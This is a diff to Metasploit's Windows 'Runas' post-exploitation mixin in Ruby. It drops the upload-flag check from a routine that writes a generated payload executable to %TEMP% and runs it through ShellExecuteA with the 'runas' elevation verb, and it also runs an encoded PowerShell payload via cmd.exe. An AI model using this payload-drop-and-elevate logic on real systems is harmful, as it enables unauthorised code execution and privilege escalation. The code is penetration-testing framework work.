@@ -9,29 +9,24 @@ module Msf::Post::Windows::Runas
9
9
include Msf ::Exploit ::EXE
10
10
include Msf ::Exploit ::Powershell
11
11
12
- def execute_exe ( filename = nil , path = nil , upload = nil )
12
+ def execute_exe ( filename = nil , path = nil )
13
13
exe_payload = generate_payload_exe
14
- payload_filename = filename || Rex ::Text . rand_text_alpha ( ( rand ( 8 ) + 6 ) ) + " .exe"
15
- payload_path = path || expand_path ( " %TEMP%" )
14
+ payload_filename = filename || Rex ::Text . rand_text_alpha ( ( rand ( 8 ) + 6 ) ) + ' .exe'
15
+ payload_path = path || expand_path ( ' %TEMP%' )
16
16
cmd_location = "#{ payload_path } \\ #{ payload_filename } "
17
- if upload
18
- print_status ( "Uploading #{ payload_filename } - #{ exe_payload . length } bytes to the filesystem..." )
19
- write_file ( cmd_location , exe_payload )
20
- else
21
- print_error ( "No Upload Path!" )
22
- return
23
- end
24
- command , args = cmd_location , nil
25
- shell_exec ( command , args )
17
+ print_status ( "Uploading #{ payload_filename } - #{ exe_payload . length } bytes to the filesystem..." )
18
+ write_file ( cmd_location , exe_payload )
19
+ command , args = cmd_location , nil
20
+ shell_exec ( command , args )
26
21
end
27
22
28
23
def execute_psh
29
- command , args = " cmd.exe" , " /c #{ cmd_psh_payload ( payload . encoded ) } "
30
- shell_exec ( command , args )
24
+ command , args = ' cmd.exe' , " /c #{ cmd_psh_payload ( payload . encoded ) } "
25
+ shell_exec ( command , args )
31
26
end
32
27
33
- def shell_exec ( command , args )
34
- print_status ( " Executing Command!" )
35
- session . railgun . shell32 . ShellExecuteA ( nil , " runas" , command , args , nil , 5 )
28
+ def shell_exec ( command , args )
29
+ print_status ( ' Executing Command!' )
30
+ session . railgun . shell32 . ShellExecuteA ( nil , ' runas' , command , args , nil , 5 )
36
31
end
37
- end
32
+ end
0 commit comments